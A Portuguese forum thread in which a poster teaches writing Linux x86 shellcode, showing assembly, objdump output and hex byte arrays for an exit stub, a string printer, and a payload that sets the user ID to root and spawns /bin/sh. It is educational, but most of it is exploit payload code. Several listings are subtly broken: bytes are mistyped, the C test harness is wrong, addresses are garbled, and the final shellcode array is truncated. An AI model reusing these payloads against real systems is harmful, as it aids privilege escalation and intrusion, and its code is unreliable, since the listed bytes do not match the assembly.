• Revista PROGRAMAR: Já está disponível a edição #53 da revista programar. Faz já o download aqui!

Felix_Poison

Linux Shellcode

4 mensagens neste tópico

Fala ae pessoal, eu percebi que pouca gente sabe o que é um ShellCode(ou ByteCode), e os poucos que sabem, não sabem como fazer, apenas usam ShellCodes prontos. E isso não é bom para nossa imagem lá fora.

Então, resolvi escrever este tópico sobre ShellCodes.

Primeiro de tudo, é preciso que vocês tenham conhecimentos satisfatórios em Assembly (x86 de preferência), C e sobre Windows e Linux.

Nosso amigo Beowulf dividiu conosco uma apostila sobre Assembly, a qual pode ser encontrada aqui: http://nemesiz.forum.st/assembly-engenharia-reversa-f36/apostilas-assembly-t112.htm

Sugiro que a leiam.

Uma pergunta que muitas pessoas têm é: O que é um ShellCode?

E a resposta é simples. ShellCode é escrever um código o qual me retornará uma shell remota, quando executado. Este é o significado original, porém, hoje em dia usa-se para se conseguir inserir qualquer byte para se conseguir executar uma certa função, por isso que alguns o chamam de ByteCode, mas em essência, são a mesma coisa.

Existe uma grande diferença entre ShellCodes de Windows e de Linux(*nix). O Linux nos dá um caminho direto da interface à kernel, através da interface int 0x80. Uma lista completa da Tabela de Chamadas de Sistema(syscall table) do Linux pode ser encontrada em muitos sites por ae, sugiro que você procure uma.

Diferente do Linux, o Windows não nos dá uma interface de kernel diretamente. Essa interface precisa ser carregada através de carregamentos de endereços das funções, os quais precisam ser executados através das DLL's (Dynamic Link Library). A maior diferença entre estes dois S.O. é que o endereço das funções encontradas no Windows varia de versão para versão, enquanto o syscall int 0x80 é sempre o mesmo, independente da versão do Linux.

Existem milhões de formas de se conseguir estes endereços das funções que você precisa para usar em seu ShellCode. Existem dois métodos para endereçar funções: você pode encontrar através do tempo de execução(runtime) ou usar um método conhecido por 'hard coded adresses'. Neste tópico, eu falarei mais sobre o segundo método. A única DLL que é necessáriamente mapeado no espaço de endereço do ShellCode é a kernel32.dll. Isto porque elas contem as funções LoadLibrary e GetProcAddress, as duas funções necessárias para se conseguir qualquer endereço de qualquer função para posteriormente ser mapeada no seu ShellCode. Existe uma limitação a este método, os endereços das funções mudam conforme a versão do Windows muda, tanto Service Pack's quanto simples Patch's(ou HotFix's). Logo, se você usar este metodo, o seu ShellCode irá funcionar apenas para uma versão específica do windows.

Usarei a sintaxe Intel neste tópico Wink

Antes de começarmos a falar sobre o ShellCode, vamos relembrar algumas coisas importantes sobre Assembly:

EAX, EBX, ECX e EDX são todos Registradores de Uso Geral (RUG ou GPR em inglês) de 32-bits na plataforma x86.

AX, BX, CX e DX acessam os 16-bits baixos dos RUG's

AL, BL, CL e DL acessam os 8-bits mais baixos dos RUG's

ESI e EDI são usados quando é feita alguma syscall no Linux

Syscalls com 6 argumentos ou menos são enviados pelos RUG's

XOR EAX e EAX são um ótimo método para se zerar um registrador, ao invés de usar Null Bytes

Você precisará de algumas ferramentas para acompanhar este tópico, as quais são GCC, ld, nasm e objdump, todas encontradas em qualquer distro Linux.

Você também pode usar um script que fiz para extrair o HexCode do resultado do Objdump, que pode ser encontrado aqui: http://nemesiz.forum.st/c-c-c-f20/hextrator-fzero-t232.htm

Começarei falando sober ShellCodes para Linux.

Ao testarmos ShellCodes, é interessante que você a coloque em um script simples apenas para executá-lo e ver se funciona, usaremos o script a seguir para se testar:

/* Teste de ShellCode.c */

char shellcode[] = "SHELLCODE AQUI";
int main(int argc, char **argv)
   {
    int (*exec) ();
    exec = (int (*) () ) shellcode;
    (int) (*func) ();
   }

Vamos fazer um script simples para entender como funciona um ShellCode e porque ele vêm sempre em forma de Hex Code:

fzero@n1nja-nemesiz:~# cat gtfo.asm
;gtfo.asm
[sECTION .text]
global _start
_start:
   xor eax, eax
   mov al, 1
   xor ebx,ebx
   int 0x80
fzero@n1nja-nemesiz:~#

Este script em ASM apenas sai dele mesmo, inútil, mas lembre-se que é apenas para aprendizado.

Compile o script e extraia o ShellCode com os seguintes comandos:

fzero@n1nja-nemesiz:~# nasm -f elf gtfo.asm
fzero@n1nja-nemesiz:~# ld -o gtfo gtfo.o
fzero@n1nja-nemesiz:~# objdump -d gtfo

gtfo:    file format elf32-i386

Disassembly of section .text:
08048080 <_start>:
8048080:   b0 01      mov   $0x1,%al
8048082:   31 db      xor   %ebx,%ebx
8048084:   cd 80      int   $0x80

fzero@n1nja-nemesiz:~#

Os bytes que precisamos são: b0 01 31 db cd 80

Insira-os no script ShellCode.c com:

char shellcode[] = "\xb0\x01\x31\xdb\xdc\x80";

Agora, execute o programa. Está pronto o seu primeiro ShellCode Wink

Agora, vou explicar como carregar endereços de uma string em uma parte de nosso código durante o tempo de execução. Isto é importante porque quando rodamos nosso ShellCode em um ambiente desconhecido, os endereços da string são desconhecidos porque o programa não está rodando em seu endereço normal.

Observe o código:

fzero@n1nja-nemesiz:~# cat sup.asm
;sup.asm
[sECTION .text]

global _start

_start:
   
   jmp short ender

   starter:
   
   xor eax, eax
   xor ebx, ebx
   xor ecx, ecx
   xor edx,edx

   mov al, 4
   mov bl, 1
   pop ecx
   mov dl, 5
   int 0x80
   
   xor eax, eax
   mov al, 1
   xor ebx,ebx
   int 0x80
   
   ender:
   call starter
   db 'sup, bro?'

fzero@n1nja-nemesiz:~# nasm -f sup.asm
fzero@n1nja-nemesiz:~# ld -o sup sup.o
fzero@n1nja-nemesiz:~# objdump -d sup

sup:   file format elf32-i386

Disassembly of section .text:

08048080 <_start>:
8048080:   eb 19      jmp   804809b

08048082: <starter>:
8048082:   31 c0      xor   %eax,%eax
8048084:   31 db      xor   %ebx,%ebx
8048086:   31 c9      xor   %ecx,%ecx
8048088:   31 d2      xor   %edx,%edx
804808a:   b0 04      mov   $0x4,%al
804808c:   b3 01      mov   $0x1,%bl
804808e:   59      pop   %ecx
804808f:      b2 05      mov   $0x5,%dl
8048091:   cd 80      int   $0x80
8048093:   31 c0      xor   %eax,%eax
8048095:   b0 01      mov   $0x1,%al
8048097:   31 db      xor   %ebx,%ebx
8048099:   cd 80       int   $0x80

0804809b: <ender>
804809b:   e8 e2 ff ff ff   call   804802
80480a0:   68 65 6c 6c 6f   push    $0x6f6x6x65

fzero@n1nja-nemesiz:~#

O ShellCode no programa de teste, ficará:

char shellcode[] = "\xeb\x19\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\x59\xb2\x05\xcd"\
                            "\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x68\x65\x6c\x6c\x6f";

Neste ponto, nós temos um ShellCode totalmente funcional, que nos mostra a saída do stdout. Agora que eu já lhes mostrei como que se endereça strings dinâmicas, vamos ao próximo passo, invocar uma Shell Wink

O Próximo código, junta os dois códigos que mostrei acima, ele escala até root, se não for, e invoca a shell.

Lembrem-se ao lerem este código:

    execve (const char *nomedoarquivo, const char** arhv, const chat** envp);

O segundo argumento espera de ponteiro a ponteiro, é por isso qu eu carreguei o endereço "/bin/sh" na string da memória e então passei o endereço da string da memória para a função. Quando os ponteiros forem diferentes, o alvo será a string "/bin/sh" Wink

fzero@n1nja-nemesiz:~# cat falconpunch.asm

;falconpunch.asm
[sECTION .text]

global _start

_start:
   xor eax,eax
   mov al, 70
   xor ebx,ebx
   xor ecx, ecx
   int 0x80

   jmp short ender

   starter:

   pop ebx
   xor eax, eax
   
   mov [ebx+7 ], al      ;Coloa um NULL onde o está o N na string
   mov [ebx+8 ], ebx      ;Coloca o endereço da string onde está o AAAA
   mov [ebx+12], ebx      ;Coloca 4 Bytes nulos(Null Bytes) onde está o BBBB
   mov al, 11      ;execve agora é syscall 11
   lea ecx, [ebx+8]      ;carrega o endereço de onde estava o AAAA
   lea edx. [ebx+12]      ;carrrega o endereço dos NULL's
   int 0x80         ;Chama(call) a kernel, já temos nossa shell 

   ender:
   call starter
   db '/bin/shNAAAABBBB'

fzero@n1nja-nemesiz:~# nasm -f elf falconpunch.asm
fzero@n1nja-nemesiz:~# ld -o falconpunch falconpunch.o
fzero@n1nja-nemesiz:~# objdump -d falconpunch

falconpunch:   file format elf32-i386

Disassembly of section .text:

08048080 <_start>:
8048080:   31 c0      xor   %eax,%eax
8048082:   b0 46      mov   $0x46,%al
8048084:   31 db      xor   %ebx,%ebx
8048086:   31 c9      xor   %ecx,%ecx
8048088:   cd 80      int   $0x80
804808a:   eb 16      jmp   80480a2

0804808c :
804808c:   5b      pop   %ebx
804808d:   31 c0      xor   %eax,%eax
804808f:      88 43 07      mov    %al,0x7(%ebx)
8048092:   89 5b 08      mov   %ebx,0x8(%ebx)
8048095:   89 43 0c      mov   %eax,0xc(%ebx)
8048098:   b0 0b      mov   $0xb,%al
804809a:   8d 4b 08      lea   0x8(%ebx),%ecx
804800d:   8d 53 0c      lea   0xc(%ebx),%edx
80480a0:   cd 80      int   $0x80

080480a2 :
080480a2:   e8 e5 ff ff ff   call   804808c
080480a7:   2f      das
080480a8:   62 69 6e      bound    %ebp,0x6e(%ecx)
080480ab:   2f      das
080480ac:   73 68      jae   8048116
080480ae:   58      pop   %eax
080480af:   41      inc   %ecx
080480b0:   41      inc   %ecx
080480b1:   41      inc   %ecx
080480b2:   41      inc   %ecx
080480b3:   42      inc    %edx
080480b4:   42      inc   %edx
080480b5:   42      inc   %edx
080480b6:   42      inc   %edx

fzero@n1nja-nemesiz:~#

Nosso ShellCode ficará assim:

char shellcode[] =  "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb"\
      "\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"\
      "\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd"\
      "\x73\x68\x58\x41\x41\x41\x41\x42\x42\x42\x42";

Simples assim, você tem em mãos um ShellCode totalmente funcional, que irá invocar uma shell Wink

Lembre-se sempre que quanto melhor você entender de Assembly, melhor, mais robusta e funcional será o seu ShellCode.

Como estou sem tempo, vou parar por aqui, mas prometo que posto sobre ShellCodes para Windows o quanto antes Wink

AUTOR: Fzero

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Boas,

Eu admiro o pessoal que programa em assembly, como é que voces sabem essas coisas todas, %eax, mov, xor, pop tem alguma tabela?

É isso e ver este tipo de código:

char shellcode[] =  "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb"\
      "\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"\
      "\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd"\
      "\x73\x68\x58\x41\x41\x41\x41\x42\x42\x42\x42";

Como é que sabes o que é o x31 ou x88 ou xcd ??

Já agora podes usar a tag code=asm para ficar mais legível

fzero@n1nja-nemesiz:~# cat falconpunch.asm

;falconpunch.asm
[sECTION .text]

global _start

_start:
   xor eax,eax
   mov al, 70
   xor ebx,ebx
   xor ecx, ecx
   int 0x80

   jmp short ender

   starter:

   pop ebx
   xor eax, eax
   
   mov [ebx+7 ], al      ;Coloa um NULL onde o está o N na string
   mov [ebx+8 ], ebx      ;Coloca o endereço da string onde está o AAAA
   mov [ebx+12], ebx      ;Coloca 4 Bytes nulos(Null Bytes) onde está o BBBB
   mov al, 11      ;execve agora é syscall 11
   lea ecx, [ebx+8]      ;carrega o endereço de onde estava o AAAA
   lea edx. [ebx+12]      ;carrrega o endereço dos NULL's
   int 0x80         ;Chama(call) a kernel, já temos nossa shell 

   ender:
   call starter
   db '/bin/shNAAAABBBB'

fzero@n1nja-nemesiz:~# nasm -f elf falconpunch.asm
fzero@n1nja-nemesiz:~# ld -o falconpunch falconpunch.o
fzero@n1nja-nemesiz:~# objdump -d falconpunch

falconpunch:   file format elf32-i386

Disassembly of section .text:

08048080 <_start>:
8048080:   31 c0      xor   %eax,%eax
8048082:   b0 46      mov   $0x46,%al
8048084:   31 db      xor   %ebx,%ebx
8048086:   31 c9      xor   %ecx,%ecx
8048088:   cd 80      int   $0x80
804808a:   eb 16      jmp   80480a2

0804808c :
804808c:   5b      pop   %ebx
804808d:   31 c0      xor   %eax,%eax
804808f:      88 43 07      mov    %al,0x7(%ebx)
8048092:   89 5b 08      mov   %ebx,0x8(%ebx)
8048095:   89 43 0c      mov   %eax,0xc(%ebx)
8048098:   b0 0b      mov   $0xb,%al
804809a:   8d 4b 08      lea   0x8(%ebx),%ecx
804800d:   8d 53 0c      lea   0xc(%ebx),%edx
80480a0:   cd 80      int   $0x80

080480a2 :
080480a2:   e8 e5 ff ff ff   call   804808c
080480a7:   2f      das
080480a8:   62 69 6e      bound    %ebp,0x6e(%ecx)
080480ab:   2f      das
080480ac:   73 68      jae   8048116
080480ae:   58      pop   %eax
080480af:   41      inc   %ecx
080480b0:   41      inc   %ecx
080480b1:   41      inc   %ecx
080480b2:   41      inc   %ecx
080480b3:   42      inc    %edx
080480b4:   42      inc   %edx
080480b5:   42      inc   %edx
080480b6:   42      inc   %edx

fzero@n1nja-nemesiz:~#

Cumprimentos!!!

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Fala ae, Dkid

ah, cara, sinceramente, eu nao acho dificil programar em ASM..

com pratica e estudo voce pega a manha :P

só que esse texto é sobre Shellcodes, por isso nao foi explicado muito sobre assembly, porque é necessario voce já saber antes de estudar shellcodes..

se voce observar bem, saberá que Opcode desse ae, representa uma função.

por exemplo, uma string como "Felix_Poison", tem um valor em Hexa, e tals.

em breve, estarei postando meu texto sobre shellcoding desde do inicio.. pra aqueles que nao manjam muito Assembly ainda.. aguardem, pois vou comtribuiir com o forum :thumbsup:

Abraços e valeu.

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

W00t!

Outro tópico! Vou já imprimir isto! para experimentar os exemplos mais calmamente! Bem esmiuçado :thumbsup:

Continua!

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Crie uma conta ou ligue-se para comentar

Só membros podem comentar

Criar nova conta

Registe para ter uma conta na nossa comunidade. É fácil!


Registar nova conta

Entra

Já tem conta? Inicie sessão aqui.


Entrar Agora